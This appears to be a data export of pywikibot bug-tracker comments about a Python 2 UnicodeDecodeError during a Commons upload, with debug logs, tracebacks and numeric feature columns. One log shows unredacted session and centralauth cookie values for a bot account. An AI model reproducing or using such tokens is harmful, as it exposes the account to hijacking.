which allows me to reproduce the issue -- in Python 2, at least. In Python 3, the upload magically works: https://commons.wikimedia.org/wiki/File:Ryanair,_EI-DWP,_Boeing_737-8AS_(17737230072).jpg",,,1431862829,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,5.0,11.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,3.5675675675675675,0.7837837837837838,"I tried the following...

``CODE`CODE`CODE``

which allows me to reproduce the issue -- in Python 2, at least. In Python 3, the upload magically works: URL"
459910,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"```
connect: (commons.wikimedia.org, 443)
send: u'GET /w/api.php?maxlag=5&format=json&rawcontinue=&meta=userinfo&action=query&uiprop=blockinfo%7Cgroups%7Chasmsg%7Crights HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: centralauth_Token=(redacted); centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiUserID=2915654; forceHTTPS=true; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
reply: 'HTTP/1.1 200 OK\r\n'
header: Server: nginx/1.6.2
header: Date: Sun, 17 May 2015 01:11:33 GMT
header: Content-Type: application/json; charset=utf-8
header: Content-Length: 465
header: Connection: keep-alive
header: X-Powered-By: HHVM/3.6.1
header: X-Content-Type-Options: nosniff
header: Cache-control: private, must-revalidate, max-age=0
header: X-Frame-Options: SAMEORIGIN
header: Content-Encoding: gzip
header: Vary: Accept-Encoding
header: Set-Cookie: commonswikiSession=(redacted); path=/; secure; httponly
header: X-Varnish: 968174735, 3348394954
header: Via: 1.1 varnish, 1.1 varnish
header: Accept-Ranges: bytes
header: Age: 0
header: X-Cache: cp1054 miss (0), cp1068 frontend miss (0)
header: Set-Cookie: GeoIP=::::v4; Path=/; Domain=.wikimedia.org
header: X-Analytics: https=1
header: Set-Cookie: WMF-Last-Access=17-May-2015;Path=/;HttpOnly;Expires=Thu, 18 Jun 2015 00:00:00 GMT
Page 1
Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg
send: u'GET /w/api.php?inprop=protection&titles=File%3ARyanair%2C+EI-DWP%2C+Boeing+737-8AS+%2817737230072%29.jpg&continue=&format=json&prop=info&meta=userinfo&indexpageids=&action=query&maxlag=5&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: GeoIP=::::v4; centralauth_Token=(redacted); centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiSession=(redacted); commonswikiUserID=2915654; forceHTTPS=true; WMF-Last-Access=17-May-2015; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
reply: 'HTTP/1.1 200 OK\r\n'
header: Server: nginx/1.6.2
header: Date: Sun, 17 May 2015 01:11:33 GMT
header: Content-Type: application/json; charset=utf-8
header: Content-Length: 248
header: Connection: keep-alive
header: X-Powered-By: HHVM/3.6.1
header: X-Content-Type-Options: nosniff
header: Cache-control: private, must-revalidate, max-age=0
header: X-Frame-Options: SAMEORIGIN
header: Content-Encoding: gzip
header: Vary: Accept-Encoding
header: X-Varnish: 66566441, 3348396553
header: Via: 1.1 varnish, 1.1 varnish
header: Accept-Ranges: bytes
header: Age: 0
header: X-Cache: cp1065 miss (0), cp1068 frontend miss (0)
header: X-Analytics: https=1;WMF-Last-Access=17-May-2015
send: u'GET /w/api.php?maxlag=5&format=json&rawcontinue=&meta=tokens%7Cuserinfo&action=query&type=csrf%7Ccsrf%7Cdeleteglobalaccount%7Cpatrol%7Crollback%7Csetglobalaccountstatus%7Cuserrights%7Cwatch&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: GeoIP=::::v4; centralauth_Token=(redacted); centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiSession=(redacted); commonswikiUserID=2915654; forceHTTPS=true; WMF-Last-Access=17-May-2015; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
reply: 'HTTP/1.1 200 OK\r\n'
header: Server: nginx/1.6.2
header: Date: Sun, 17 May 2015 01:11:34 GMT
header: Content-Type: application/json; charset=utf-8
header: Content-Length: 321
header: Connection: keep-alive
header: X-Powered-By: HHVM/3.6.1
header: X-Content-Type-Options: nosniff
header: Cache-control: private, must-revalidate, max-age=0
header: X-Frame-Options: SAMEORIGIN
header: Content-Encoding: gzip
header: Vary: Accept-Encoding
header: X-Varnish: 968176035, 3348398412
header: Via: 1.1 varnish, 1.1 varnish
header: Accept-Ranges: bytes
header: Age: 0
header: X-Cache: cp1054 miss (0), cp1068 frontend miss (0)
header: X-Analytics: https=1;WMF-Last-Access=17-May-2015
Sleeping for 7.5 seconds, 2015-05-17 01:11:34
ERROR: Traceback (most recent call last):
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1556, in submit
    body=body, headers=headers)
  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 1094, in wrapper
    return obj(*__args, **__kw)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 279, in request
    r = fetch(baseuri, method, body, headers, **kwargs)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 381, in fetch
    error_handling_callback(request)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 297, in error_handling_callback
    raise request.data
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1850: ordinal not in range(128)
```
I believe the UnicodeDecodeError happened before the upload request is really sent. 

The exact values is: 
```
site.upload(pywikibot.FilePage(site, ""File:Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg""), source_filename=""temp/fli.tmp"", comment=""[[Commons:Bots|Bot]]: Uploading files from Flickr"", ignore_warnings=False)
```
git diff shows nothing and git status shows HEAD detached at d798da3",,,1431825978,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.7222222222222222,"``CODE`CODE`CODE``
git diff shows nothing and git status shows HEAD detached at d798da3"
459909,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"```
connect: (commons.wikimedia.org, 443)
send: u'GET /w/api.php?maxlag=5&format=json&rawcontinue=&meta=userinfo&action=query&uiprop=blockinfo%7Cgroups%7Chasmsg%7Crights HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: centralauth_Token=78b8f029c49c2f259939a0b5dadd6c8a; centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiUserID=2915654; forceHTTPS=true; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
reply: 'HTTP/1.1 200 OK\r\n'
header: Server: nginx/1.6.2
header: Date: Sun, 17 May 2015 01:11:33 GMT
header: Content-Type: application/json; charset=utf-8
header: Content-Length: 465
header: Connection: keep-alive
header: X-Powered-By: HHVM/3.6.1
header: X-Content-Type-Options: nosniff
header: Cache-control: private, must-revalidate, max-age=0
header: X-Frame-Options: SAMEORIGIN
header: Content-Encoding: gzip
header: Vary: Accept-Encoding
header: Set-Cookie: commonswikiSession=244c342c5006ef116c903f7b68678c79; path=/; secure; httponly
header: X-Varnish: 968174735, 3348394954
header: Via: 1.1 varnish, 1.1 varnish
header: Accept-Ranges: bytes
header: Age: 0
header: X-Cache: cp1054 miss (0), cp1068 frontend miss (0)
header: Set-Cookie: GeoIP=::::v4; Path=/; Domain=.wikimedia.org
header: X-Analytics: https=1
header: Set-Cookie: WMF-Last-Access=17-May-2015;Path=/;HttpOnly;Expires=Thu, 18 Jun 2015 00:00:00 GMT
Page 1
Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg
send: u'GET /w/api.php?inprop=protection&titles=File%3ARyanair%2C+EI-DWP%2C+Boeing+737-8AS+%2817737230072%29.jpg&continue=&format=json&prop=info&meta=userinfo&indexpageids=&action=query&maxlag=5&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: GeoIP=::::v4; centralauth_Token=78b8f029c49c2f259939a0b5dadd6c8a; centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiSession=244c342c5006ef116c903f7b68678c79; commonswikiUserID=2915654; forceHTTPS=true; WMF-Last-Access=17-May-2015; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
reply: 'HTTP/1.1 200 OK\r\n'
header: Server: nginx/1.6.2
header: Date: Sun, 17 May 2015 01:11:33 GMT
header: Content-Type: application/json; charset=utf-8
header: Content-Length: 248
header: Connection: keep-alive
header: X-Powered-By: HHVM/3.6.1
header: X-Content-Type-Options: nosniff
header: Cache-control: private, must-revalidate, max-age=0
header: X-Frame-Options: SAMEORIGIN
header: Content-Encoding: gzip
header: Vary: Accept-Encoding
header: X-Varnish: 66566441, 3348396553
header: Via: 1.1 varnish, 1.1 varnish
header: Accept-Ranges: bytes
header: Age: 0
header: X-Cache: cp1065 miss (0), cp1068 frontend miss (0)
header: X-Analytics: https=1;WMF-Last-Access=17-May-2015
send: u'GET /w/api.php?maxlag=5&format=json&rawcontinue=&meta=tokens%7Cuserinfo&action=query&type=csrf%7Ccsrf%7Cdeleteglobalaccount%7Cpatrol%7Crollback%7Csetglobalaccountstatus%7Cuserrights%7Cwatch&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: GeoIP=::::v4; centralauth_Token=78b8f029c49c2f259939a0b5dadd6c8a; centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiSession=244c342c5006ef116c903f7b68678c79; commonswikiUserID=2915654; forceHTTPS=true; WMF-Last-Access=17-May-2015; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
reply: 'HTTP/1.1 200 OK\r\n'
header: Server: nginx/1.6.2
header: Date: Sun, 17 May 2015 01:11:34 GMT
header: Content-Type: application/json; charset=utf-8
header: Content-Length: 321
header: Connection: keep-alive
header: X-Powered-By: HHVM/3.6.1
header: X-Content-Type-Options: nosniff
header: Cache-control: private, must-revalidate, max-age=0
header: X-Frame-Options: SAMEORIGIN
header: Content-Encoding: gzip
header: Vary: Accept-Encoding
header: X-Varnish: 968176035, 3348398412
header: Via: 1.1 varnish, 1.1 varnish
header: Accept-Ranges: bytes
header: Age: 0
header: X-Cache: cp1054 miss (0), cp1068 frontend miss (0)
header: X-Analytics: https=1;WMF-Last-Access=17-May-2015
Sleeping for 7.5 seconds, 2015-05-17 01:11:34
ERROR: Traceback (most recent call last):
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1556, in submit
    body=body, headers=headers)
  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 1094, in wrapper
    return obj(*__args, **__kw)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 279, in request
    r = fetch(baseuri, method, body, headers, **kwargs)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 381, in fetch
    error_handling_callback(request)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 297, in error_handling_callback
    raise request.data
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1850: ordinal not in range(128)
```
I believe the UnicodeDecodeError happened before the upload request is really sent. 

The exact values is: 
```
site.upload(pywikibot.FilePage(site, ""File:Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg""), source_filename=""temp/fli.tmp"", comment=""[[Commons:Bots|Bot]]: Uploading files from Flickr"", ignore_warnings=False)
```
git diff shows nothing and git status shows HEAD detached at d798da3",,,1431825892,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.222222222222222,0.7222222222222222,"``CODE`CODE`CODE``
git diff shows nothing and git status shows HEAD detached at d798da3"
459848,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"It should log to stdout, yes. For example:

```
>>> import httplib2
>>> httplib2.debuglevel = 4
>>> import pywikibot
>>> pywikibot.Page(pywikibot.Site(), 'test')
connect: (en.wikipedia.org, 443)
send: u'GET /w/api.php?maxlag=5&continue=&format=json&meta=siteinfo%7Cuserinfo&action=query&siprop=namespaces%7Cnamespacealiases%7Cgeneral&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: en.wikipedia.org\r\nconnection: keep-alive\r\ncontent-type: application/x-www-form-urlencoded\r\naccept-encoding: gzip, deflate\r\nuser-agent: (wikipedia:en; User:Valhallasw) Pywikibot/2.0b3 (g5524) httplib2/0.9 Python/2.7.6.final.0\r\n\r\n'
reply: 'HTTP/1.1 200 OK\r\n'
...
etc.
```

but it's possible the exception occurs earlier. 

Can you provide the exact values you pass to
```
site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
```

and the original file? That could help in reproducing the issue. Please check that, if you start
```python pwb.py shell```

and run
```
import pywikibot
site = pywikibot.Site('commons', 'commons')
site.upload(<your parameters>)
```

the same issue occurs.",,,1431796341,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.173913043478261,0.782608695652174,"It should log to stdout, yes. For example:

``CODE`CODE`CODE`CODE`CODE`CODE`CODE``

the same issue occurs."
459847,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"It should log to stdout, yes. For example:

```
>>> import httplib2
>>> httplib2.debuglevel = 4
>>> import pywikibot
>>> pywikibot.Page(pywikibot.Site(), 'test')
connect: (en.wikipedia.org, 443)
send: u'GET /w/api.php?maxlag=5&continue=&format=json&meta=siteinfo%7Cuserinfo&action=query&siprop=namespaces%7Cnamespacealiases%7Cgeneral&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: en.wikipedia.org\r\nconnection: keep-alive\r\ncontent-type: application/x-www-form-urlencoded\r\naccept-encoding: gzip, deflate\r\nuser-agent: (wikipedia:en; User:Valhallasw) Pywikibot/2.0b3 (g5524) httplib2/0.9 Python/2.7.6.final.0\r\n\r\n'
reply: 'HTTP/1.1 200 OK\r\n'
...
etc.
```

but it's possible the exception occurs earlier.

Can you provide the exact values you pass to
```
site.upload(imagePage, source_filename=path, comment=self.summary, ignore_warnings=ignore)
```

and the original file? That could help in reproducing the issue.",,,1431796288,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5806451612903225,0.8064516129032258,"It should log to stdout, yes. For example:

``CODE`CODE`CODE``

and the original file? That could help in reproducing the issue."
459830,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),@valhallasw do you mean there's a log file or something? I find no change to stdout or stderr with that code added.,,,1431793730,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,8.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.76,0.96,SCREEN_NAME do you mean there's a log file or something? I find no change to stdout or stderr with that code added.
459825,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"@zhuyifei1999, please don't remove comments. Clarifying later that the issue wasn't resolved is clear enough.

Could you try adding
```
import httplib2
httplib2.debuglevel = 4
```

before the `site.upload()` call? That should make httplib2 output some more detailed information.

",,,1431792806,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,2.0,0.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.466666666666667,0.8666666666666667,"SCREEN_NAME, please don't remove comments. Clarifying later that the issue wasn't resolved is clear enough.

Could you try adding
``CODE`CODEsite.upload()` call? That should make httplib2 output some more detailed information.

"
459821,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Ok I added a traceback.print_exc() to https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/comms/threadedhttp.py#L225 and got this:

```
Traceback (most recent call last):
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/threadedhttp.py"", line 221, in request
    max_redirects, connection_type
  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1569, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1316, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1252, in _conn_request
    conn.request(method, request_uri, body, headers)
  File ""/usr/lib/python2.7/httplib.py"", line 973, in request
    self._send_request(method, url, body, headers)
  File ""/usr/lib/python2.7/httplib.py"", line 1007, in _send_request
    self.endheaders(body)
  File ""/usr/lib/python2.7/httplib.py"", line 969, in endheaders
    self._send_output(message_body)
  File ""/usr/lib/python2.7/httplib.py"", line 827, in _send_output
    msg += message_body
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)
ERROR: Traceback (most recent call last):
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1556, in submit
    body=body, headers=headers)
  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 1094, in wrapper
    return obj(*__args, **__kw)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 279, in request
    r = fetch(baseuri, method, body, headers, **kwargs)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 381, in fetch
    error_handling_callback(request)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 297, in error_handling_callback
    raise request.data
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)

WARNING: Waiting 5 seconds before retrying.
```

Hopefully this works",,,1431791325,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.3043478260869565,0.782608695652174,"Ok I added a traceback.print_exc() to URL and got this:

``CODE``

Hopefully this works"
459820,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Ok I added a traceback.print_exc() to https://github.com/wikimedia/pywikibot-core/blob/master/pywikibot/comms/threadedhttp.py#L225 and got this:

```
Traceback (most recent call last):
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/threadedhttp.py"", line 221, in request
    max_redirects, connection_type
  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1569, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1316, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""/usr/lib/python2.7/dist-packages/httplib2/__init__.py"", line 1252, in _conn_request
    conn.request(method, request_uri, body, headers)
  File ""/usr/lib/python2.7/httplib.py"", line 973, in request
    self._send_request(method, url, body, headers)
  File ""/usr/lib/python2.7/httplib.py"", line 1007, in _send_request
    self.endheaders(body)
  File ""/usr/lib/python2.7/httplib.py"", line 969, in endheaders
    self._send_output(message_body)
  File ""/usr/lib/python2.7/httplib.py"", line 827, in _send_output
    msg += message_body
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)
ERROR: Traceback (most recent call last):
  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1556, in submit
    body=body, headers=headers)
  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 1094, in wrapper
    return obj(*__args, **__kw)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 279, in request
    r = fetch(baseuri, method, body, headers, **kwargs)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 381, in fetch
    error_handling_callback(request)
  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 297, in error_handling_callback
    raise request.data
UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)

WARNING: Waiting 5 seconds before retrying.
```",,,1431791288,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.9473684210526314,0.8421052631578947,"Ok I added a traceback.print_exc() to URL and got this:

``CODE``"
459817,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Sorry, I'm wrong again. Running after ""git checkout d798da349087d231d9dad203cd6b48a1aea03875"" gets the error again.

